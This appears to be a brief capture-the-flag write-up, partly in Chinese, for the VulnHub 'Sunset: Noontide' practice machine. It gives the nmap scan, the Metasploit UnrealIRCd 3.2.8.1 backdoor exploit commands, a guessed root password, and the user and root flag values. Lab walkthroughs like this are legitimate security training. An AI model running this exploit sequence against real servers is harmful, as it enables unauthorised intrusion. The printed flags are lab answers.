https://www.vulnhub.com/entry/sunset-noontide,531/

check ip and nmap

ip -br a
nmap -A -sV 192.168.61.0/24

the target is 192.168.61.146
6667 有個 UnrealIRCD 3.2.8.1

metaspolit

sudo msfconsole

找 unrealircd 相關的

search unrealircd

直接用，版本號也相同

use exploit/unix/irc/unreal_ircd_3281_backdoor

show options

set RHOST 192.168.61.146

show payloads

set payload 1

run

shell

看來這個 user 是 server, 先取 user flag:

ls /home/server
cat /home/server/local.txt

user flag: c53c08b5bf2b0801c5d0c24149826a6e

先試過找 SUID File，沒找到
這邊嘗試 su，但是不知道密碼
猜了一陣子知道是 root

ls /root
cat /root/proof.txt

root flag: ab28c8ca8da1b9ffc2d702ac54221105